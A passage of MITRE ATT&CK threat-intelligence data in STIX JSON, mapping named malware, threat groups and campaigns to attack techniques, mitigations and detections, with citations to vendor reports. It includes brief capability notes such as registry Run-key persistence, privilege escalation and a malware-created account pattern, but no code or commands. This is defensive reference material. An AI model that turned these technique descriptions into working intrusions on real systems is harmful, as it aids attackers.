2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:36:33.460Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can utilize Native API functions such as, `ToolHelp32` and `Rt1AdjustPrivilege` to enable `SeDebugPrivilege` on a compromised machine.(Citation: Gigamon BADHATCH Jul 2019)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d4a7150-60f9-4ed5-b24b-088c76d6ab73","created":"2022-09-21T16:58:24.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T21:44:00.899Z","description":"[Chinoxy](https://attack.mitre.org/software/S1041) has established persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key and by loading a dropper to `(%COMMON_ STARTUP%\\\\eoffice.exe)`.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d4b2be8-946d-4ae7-a897-a5c92b00c512","type":"relationship","created":"2021-05-05T17:19:35.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."}],"modified":"2021-05-05T17:28:05.235Z","description":"(Citation: Kaspersky CactusPete Aug 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d4f3696-caa9-4100-bef5-e42d0f18470e","type":"relationship","created":"2020-12-22T20:20:36.543Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearkSky Fox Kitten February 2020","url":"https://www.clearskysec.com/fox-kitten/","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."},{"source_name":"Dragos PARISITE ","url":"https://www.dragos.com/threat/parisite/","description":"Dragos. (n.d.). PARISITE. Retrieved December 21, 2020."},{"source_name":"CrowdStrike PIONEER KITTEN August 2020","url":"https://www.crowdstrike.com/blog/who-is-pioneer-kitten/","description":"Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."},{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2020-12-29T20:23:05.329Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has exploited known vulnerabilities in Fortinet, PulseSecure, and Palo Alto VPN appliances.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Dragos PARISITE )(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.625Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can delete specified files.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d520715-126a-4678-ba03-cbdd70fae8d0","type":"relationship","created":"2020-11-06T18:40:38.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-11-06T18:40:38.446Z","description":"(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d5221c3-2efa-4374-8842-8c955fda112b","type":"relationship","created":"2020-06-02T19:36:48.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-02T19:36:48.191Z","description":"[CARROTBALL](https://attack.mitre.org/software/S0465) has the ability to download and install a remote payload.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d52f0a1-1cdf-4773-ac40-ef9842e517d5","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T22:02:03.600Z","description":"Monitor for newly constructed network connections that may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds. Processes utilizing the network that do not normally have network communication or have never been seen before may be suspicious.\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on TCP network connection creation. The below analytic is using an event ID from OSQuery. ","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d550704-4ccb-485b-8e79-519d13768afa","created":"2023-05-19T19:13:43.614Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-19T19:13:43.614Z","description":"During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors re-registered a ClouDNS dynamic DNS subdomain which was previously used by [ANDROMEDA](https://attack.mitre.org/software/S1074).(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d552780-38aa-451b-9b37-a82a5400cd0e","type":"relationship","created":"2020-02-20T18:50:53.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T15:17:30.870Z","description":"Ensure that local administrator accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d562520-86bb-4251-9431-a4958bec097c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}],"modified":"2020-01-10T15:12:52.357Z","description":"[SEASHARPEE](https://attack.mitre.org/software/S0185) can timestomp files on victims using a Web shell.(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"malware--0998045d-f96e-4284-95ce-3c8219707486","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d5c4bf4-0dfb-48f7-842d-3392b16eb80e","created":"2022-09-30T20:03:43.174Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:03:43.174Z","description":"[Misdat](https://attack.mitre.org/software/S0083) has collected files and data from a compromised host.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d5dfa51-1e2b-4da5-9db8-ae8e8f00ea9d","type":"relationship","created":"2020-11-06T18:40:37.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"}],"modified":"2022-02-25T18:58:14.784Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can set its Beacon payload to reach out to the C2 server on an arbitrary and random interval.(Citation: cobaltstrike manual)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d5e93c2-073a-4974-a25f-c5a805780a45","created":"2024-09-18T17:48:07.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"},{"source_name":"Palo Alto Latrodectus Activity June 2024","description":"Unit 42. (2024, June 25). 2024-06-25-IOCs-from-Latrodectus-activity. Retrieved September 13, 2024.","url":"https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-06-25-IOCs-from-Latrodectus-activity.txt"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:40:22.950Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has used JavaScript files as part its infection chain during malicious spam \n email campaigns.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)(Citation: Palo Alto Latrodectus Activity June 2024)\n","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d6884e7-7594-43c2-847a-7e8cc7ef4ada","created":"2024-09-25T14:18:31.497Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:18:31.497Z","description":"Limit permissions to add, delete, or modify resource groups to only those required. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--0ce73446-8722-4086-9d43-514f1d0f669e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d69c030-d557-4d35-b5dc-99ee973f10eb","created":"2023-10-12T20:58:35.118Z","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T20:58:35.118Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used `zlib` to compress all data after 0x52 for the custom TCP C2 protocol.(Citation: Unit42 OceanLotus 2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d6ece55-8e30-431b-9515-1cdb91813b9e","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d719666-23d9-44a7-afb1-2afb5263cf09","created":"2024-07-16T18:08:13.898Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:08:13.898Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) will retrieve the name of the user associated with the thread under which the malware is executing.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d7ac1b0-acaa-4828-8863-9efda8f79589","created":"2024-09-23T22:19:25.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T22:11:08.721Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has downloaded 7-Zip to decompress password protected archives.(Citation: trendmicro_redcurl) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d8147e4-fca3-4348-9376-dd96cc7b9e30","type":"relationship","created":"2020-05-06T21:31:07.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.554Z","description":"[Okrum](https://attack.mitre.org/software/S0439) can collect the victim username.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:36:52.532Z","description":"[S-Type](https://attack.mitre.org/software/S0085) may create a temporary user on the system named `Lost_{Unique Identifier}` with the password `pond~!@6”{Unique Identifier}`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d8718c4-9abe-41fc-b048-472da9d70b5c","created":"2022-10-11T19:23:11.311Z","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:23:11.311Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has used batch scripts that can disable the Windows firewall on specific remote machines.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d87588e-2202-4616-a536-e43a2606721b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.832Z","description":"[Rover](https://attack.mitre.org/software/S0090) searches for files on attached removable drives based on a predefined list of file extensions every five seconds.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d887394-6007-451e-beb9-0ce76b58ebc3","type":"relationship","created":"2022-02-08T16:13:42.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TeamTNT Cloud Enumeration","url":"https://unit42.paloaltonetworks.com/teamtnt-operations-cloud-environments","description":"Nathaniel Quist. (2021, June 4). TeamTNT Actively Enumerating Cloud Environments to Infiltrate Organizations. Retrieved February 8, 2022."}],"modified":"2022-02-08T16:13:42.116Z","description":"(Citation: TeamTNT Cloud Enumeration)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d8b1f40-48a0-484b-8eea-48195a8bfff2","type":"relationship","created":"2020-02-21T20:32:21.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T20:32:21.128Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d8b4863-f8db-4776-a70f-ea16255d45bd","type":"relationship","created":"2021-01-22T22:35:20.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-22T22:35:20.240Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) enumerated the Orion software Visual Studio solution directory path.(Citation: CrowdStrike SUNSPOT Implant January 2021)","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d8d9425-86ec-42d3-bce5-2af53d4f1fad","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-17T13:49:31.176Z","description":"A Word document delivering [TYPEFRAME](https://attack.mitre.org/software/S0263) prompts the user to enable macro execution.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6d91c756-df9c-4fbe-9489-2cf6cf7ba206","created":"2022-04-15T18:32:24.932Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. 